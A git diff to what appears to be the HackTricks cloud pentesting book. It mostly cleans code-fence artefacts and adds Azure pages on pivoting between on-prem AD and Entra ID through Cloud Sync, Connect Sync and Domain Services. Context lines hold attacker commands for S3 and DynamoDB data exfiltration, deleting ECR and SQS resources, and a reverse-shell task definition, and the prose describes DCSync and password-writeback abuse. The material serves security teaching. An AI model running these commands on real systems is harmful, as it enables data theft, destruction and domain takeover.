impr

src/SUMMARY.md

@@ -442,11 +442,13 @@
   - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
   - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
     - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
-      - [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
-      - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
+      - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
       - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
       - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
-      - [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
+      - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
+      - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
+      - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
+      - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
       - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
       - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
       - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)

src/pentesting-ci-cd/serverless.com-security.md

@@ -109,7 +109,7 @@ The **Provider** object specifies the cloud service provider (e.g., AWS, Azure,
 It includes details like the runtime, region, stage, and credentials.
 
 ```yaml
-yamlCopy codeprovider:
+provider:
   name: aws
   runtime: nodejs14.x
   region: us-east-1
@@ -767,7 +767,7 @@ Detailed error messages can leak sensitive information about the infrastructure
 - **Generic Error Messages:** Avoid exposing internal details in error responses.
 
   ```javascript
-  javascriptCopy code// Example in Node.js
+// Example in Node.js
   exports.hello = async (event) => {
     try {
       // Function logic

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md

@@ -30,7 +30,7 @@ Instead of changing the code on the actual version, the attacker could deploy a
 Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
 
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md

@@ -312,7 +312,7 @@ An attacker with these permissions can **enable a stream on a DynamoDB table, up
 1. Enable a stream on a DynamoDB table:
 
 ```bash
-bashCopy codeaws dynamodb update-table \
+aws dynamodb update-table \
     --table-name TargetTable \
     --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
     --region <region>
@@ -321,7 +321,7 @@ bashCopy codeaws dynamodb update-table \
 2. Describe the stream to obtain the ARN and other details:
 
 ```bash
-bashCopy codeaws dynamodb describe-stream \
+aws dynamodb describe-stream \
     --table-name TargetTable \
     --region <region>
 ```
@@ -329,7 +329,7 @@ bashCopy codeaws dynamodb describe-stream \
 3. Get the shard iterator using the stream ARN:
 
 ```bash
-bashCopy codeaws dynamodbstreams get-shard-iterator \
+aws dynamodbstreams get-shard-iterator \
     --stream-arn <stream_arn> \
     --shard-id <shard_id> \
     --shard-iterator-type LATEST \
@@ -339,7 +339,7 @@ bashCopy codeaws dynamodbstreams get-shard-iterator \
 4. Use the shard iterator to access and exfiltrate data from the stream:
 
 ```bash
-bashCopy codeaws dynamodbstreams get-records \
+aws dynamodbstreams get-records \
     --shard-iterator <shard_iterator> \
     --region <region>
 ```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

@@ -60,7 +60,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
 
 ```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
+# Create a JSON file with the malicious lifecycle policy
 echo '{
   "rules": [
     {

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -38,7 +38,7 @@ aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> -
 An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue.
 
 ```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
+aws sqs delete-queue --queue-url <value>
 ```
 
 **Potential Impact**: Message loss and service disruption for applications using the deleted queue.
@@ -48,7 +48,7 @@ Copy codeaws sqs delete-queue --queue-url <value>
 An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages.
 
 ```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
+aws sqs purge-queue --queue-url <value>
 ```
 
 **Potential Impact**: Message loss and service disruption for applications relying on the purged messages.
@@ -79,7 +79,7 @@ aws sqs untag-queue --queue-url <value> --tag-keys <key>
 An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue.
 
 ```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
+aws sqs remove-permission --queue-url <value> --label <value>
 ```
 
 **Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions.

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md

@@ -95,7 +95,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**.
 
 ```bash
-bashCopy codeVPC_LINK_ID="your-vpc-link-id"
+VPC_LINK_ID="your-vpc-link-id"
 NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
 
 # Update the VPC Link

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md

@@ -67,7 +67,7 @@ Like the previoous section, but for public repositories.\
 An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
 
 ```bash
-bashCopy code# Create a JSON file with the malicious public repository policy
+# Create a JSON file with the malicious public repository policy
 echo '{
   "Version": "2008-10-17",
   "Statement": [

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -259,7 +259,7 @@ TODO: Is it possible to register an instance from a different AWS account so tas
 An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**.
 
 ```bash
-bashCopy code# Register a task definition with a reverse shell
+# Register a task definition with a reverse shell
 echo '{
   "family": "malicious-task",
   "containerDefinitions": [

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md

@@ -15,7 +15,7 @@ For more information check:
 An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities.
 
 ```bash
-cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
+aws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
 ```
 
 **Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md

@@ -61,3 +61,5 @@ Get-ADSyncConnector
 
 
 
+
+

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md

@@ -0,0 +1,88 @@
+# Az - Cloud Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+## Basic Information
+
+**Cloud Sync** is basically the new way of Azure to **synchronize the users from AD into Entra ID**.
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is a new offering from Microsoft designed to meet and accomplish your hybrid identity goals for synchronization of users, groups, and contacts to Microsoft Entra ID. It accomplishes this by using the Microsoft Entra cloud provisioning agent instead of the Microsoft Entra Connect application. However, it can be used alongside Microsoft Entra Connect Sync.
+
+### Principals Generated
+
+In order for this to work some principals are created in both Entra ID and the On-Premise directry:
+
+- In Entra ID the user `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) is created with the role **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`). 
+
+> [!WARNING]
+> This role used to have a lot of privileged permissions and it could be used to [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). However, Microsoft decided to remove all the privileges of this role and assign it just a new one **`microsoft.directory/onPremisesSynchronization/standard/read`** which doesn't really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP).
+
+- In Entra ID also the group **`AAD DC Administrators`** is created without members or owners. This group is useful if [`Microsoft Entra Domain Services`](./az-domain-services.md) is used.
+
+- In the AD, either the Service Account **`provAgentgMSA`** is created with a SamAcountName like **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), or a custom one with [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Usually the default one is created.
+
+> [!WARNING]
+> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permisions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
+
+> [!NOTE]
+> Domain admins are not replicated because the Domain Admin group has the **`adminCount` attribute to 1**. But other users might be replicated and attackable if you compromises them from EntraID: https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/
+
+## Password Sychronization
+
+The section is very similar to the one from:
+
+{{#ref}}
+az-connect-sync.md
+{{#endref}}
+
+- **Password hash synchronization** can be enabled so users will be able to **login into Entra ID using their passwords from AD**. Moreover, whenever a password is modified in AD, it'll be updated in Entra ID.
+- **Password writeback** can also be enabled, allowing users to modify their password in Entra ID automatically synchronizing their password in the on-premise domain. But according to the [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), for this is needed to use the Connect Agent, so take a look to the [Az Connect Sync section](./az-connect-sync.md) for more information.
+
+
+## Pivoting
+
+### AD --> Entra ID
+
+- If the AD users are being synced from the AD to Entra ID, pivoting from AD to Entra ID is straightforward, just **compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins)**.
+
+For more information about how to compromise an Active Directory check:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
+{{#endref}}
+
+> [!NOTE]
+> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributtes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
+
+{{#ref}}
+../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
+{{#endref}}
+
+### Entra ID --> AD
+
+- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, conenct using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
+
+- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchonizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
+
+> - These groups can only contain on-premises synchronized users and / or additional cloud created security groups.
+> - The on-premises user accounts that are synchronized and are members of this cloud created security group, can be from the same domain or cross-domain, but they all must be from the same forest.
+
+So the attack surface (and usefulness) of this service is greately reduced as an attacker would need to compromise the initial AD from where the users are being synhronized in order to compromise a user in the other domain (and both must be inte same forest aparently).
+
+
+### Enumeration
+
+```bash
+# Get all the configured cloud sync agents (usually one per on-premise domain)
+## In the machine name of each you can infer the name of the domain
+az rest \
+  --method GET \
+  --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
+  --headers "Content-Type=application/json"
+```
+
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
+

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md

@@ -1,31 +1,58 @@
-# Az - PHS - Password Hash Sync
+# Az - Connect Sync
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) is a main component of Microsoft Entra Connect. It takes care of all the operations that are related to synchronize identity data between your on-premises environment and Microsoft Entra ID.
+
+In order to use it, it's needed to install the **`Microsoft Entra Connect Sync`** agent in a server inside your AD enviroment. This agent will be the one taking care of the synchronization from the AD side.
+
 
 <figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
 
-It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD.
+The **Connect Sync** is basically the "old" Azure way to **synchronize users from AD into Entra ID.** The new recommended way is to use **Entra Cloud Sync**:
 
-All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\
-Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD.
+{{#ref}}
+az-cloud-sync.md
+{{#endref}}
+
+### Principals Generated
+
+- The account **`MSOL_<installationID>`** is automatically created in the on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
+    - This means that anyone taht compromises this account will be able to compromise the on-premise domain.
+- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
+
+## Synchronize Passwords
+
+### Password Hash Synchronization
+
+This component can be also used to **sychronize passwords from AD into Entra ID** so users will be able to use their AD passwords to connect to Entra ID. For this, it's needed to allow password hash synchronization in the Microsoft Entra Connect Sync agent installed in an AD server.
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.
+
+Basically, all **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.
 
 The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password.
 
 When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**.
 
-**PHS** is required for features like **Identity Protection** and AAD Domain Services.
+### Password Writeback
+
+This configuration allows to **sychronize passwords from Entra ID into AD** whe a user changes its password in Entra ID. Note that for the password writeback to work the `MSOL_<id>` user automatically generated in the AD needs to be granted [more privileges as indicated in the docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) so it'll be able to **modify the passwords of any user in the AD**.
+
+This is specially interesting to compromise the AD from a compromised Entra ID as you will be able to modify the password of "almost" any user.
+
+Domain admins and other users belonging to some pivileged groups are not replicated if the group has the **`adminCount` attribute to 1**. But other users that have been assigned high privileges inside the AD withuot belonging to any of thoese groups could have they password changed. For example:
+
+- Users assigned high privleges directly.
+- Users from the **`DNSAdmins`** group.
+- Users from the group **`Group Policy Creator Owners`** that have created GPOs and assigned them to OUs will be able to modify the GPOs they created.
+- Users from the **`Cert Publishers Group`** that can publish certificates to Active Directory.
+- Users of any other group with high privileges without the **`adminCount` attribute to 1**.
 
 ## Pivoting
 
-When PHS is configured some **privileged accounts** are automatically **created**:
-
-- The account **`MSOL_<installationID>`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
-- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
-
 Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
 The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
 
@@ -118,6 +145,7 @@ seamless-sso.md
 - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
 - [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
 - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
+- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md

@@ -0,0 +1,34 @@
+# Az - Microsoft Entra Domain Services
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Domain Services
+
+Microsoft Entra Domain Services allows to deploy an Active Directory in Azure without needing to manage Domain Controllers (actually you don't even have access to them).
+
+Its main goal is to allow you to run legacy applications in the cloud that can't use modern authentication methods, or where you don't want directory lookups to always go back to an on-premises AD DS environment.
+
+Note that in order to synchronize the users generated in Entra ID (and not sunced from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed.
+
+> [!WARNING]
+> Even if you are creating a new active directory domain you won't be able to completely managed it (unless without exploiting some misconfigurations), which means that by default for example you cannot create users in the AD directly. You create them by **synchronizing users from Entra ID.** You can indicate to synchronize all users (even those synced from other on-premise ADs), only cloud users (users created in Entra ID), or even **filter them more**.
+
+> [!NOTE]
+> In general, due to the lack of flexibity on the configuration of the new domain and the fact that ADs are usually already on-premise, this is not the main integration between Entra ID and AD, but still interesting to know how to compromise it.
+
+### Pivoting
+
+Members of the generated **`AAD DC Administrators`** group are granted local admin permissions on VMs that are domain-joined to the managed domain (but not into the domain controllers) because they are added into the local administrators group. Members of this group can also use **Remote Desktop to connect remotely to domain-joined VMs**, and are also members of the groups:
+
+- **`DNSADMINS`**: TODO Demo abusing this permision to escalate privileges (https://www.hub.trimarcsecurity.com/post/escalating-to-domain-admin-in-microsoft-s-cloud-hosted-active-directory-azure-ad-domain-services)
+- **`Group Policy Creators Owners`** ( https://adsecurity.org/?p=3658 ? )
+- **`Denied RDOC Password Replication Group`** is a group that specifies users and groups whose passwords cannot be cached on RODCs.
+
+TODO: See the GPO that gives local admin to every user in `AAD DC Administrators`. is it in the Cloud Sync? How does it looks like?
+
+Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
+
+However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
+
+{{#include ../../../../banners/hacktricks-training.md}}
+

src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md

@@ -157,7 +157,7 @@ These permissions allows to disable and enable service principals. An attacker c
 Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
 
 ```bash
-bashCopy code# Disable
+# Disable
 az ad sp update --id <ServicePrincipalId> --account-enabled false
 
 # Enable

src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md

@@ -7,7 +7,7 @@
 Open Policy Agent (OPA) Gatekeeper is a tool used to enforce admission policies in Kubernetes. These policies are defined using Rego, a policy language provided by OPA. Below is a basic example of a policy definition using OPA Gatekeeper:
 
 ```rego
-regoCopy codepackage k8srequiredlabels
+package k8srequiredlabels
 
 violation[{"msg": msg}] {
     provided := {label | input.review.object.metadata.labels[label]}

src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md

@@ -26,13 +26,13 @@ A way to give access to a GSA to a GKE cluser is by binding them in this way:
 - Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
 
 ```bash
-Copy codekubectl create serviceaccount <service-account-name>
+kubectl create serviceaccount <service-account-name>
 ```
 
 - Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example:
 
 ```bash
-Copy codegcloud iam service-accounts keys create <key-file-name>.json \
+gcloud iam service-accounts keys create <key-file-name>.json \
     --iam-account <gcp-service-account-email>
 kubectl create secret generic <secret-name> \
     --from-file=key.json=<key-file-name>.json
@@ -41,7 +41,7 @@ kubectl create secret generic <secret-name> \
 - Bind the Kubernetes Secret to the Kubernetes service account using the following command:
 
 ```bash
-Copy codekubectl annotate serviceaccount <service-account-name> \
+kubectl annotate serviceaccount <service-account-name> \
     iam.gke.io/gcp-service-account=<gcp-service-account-email>
 ```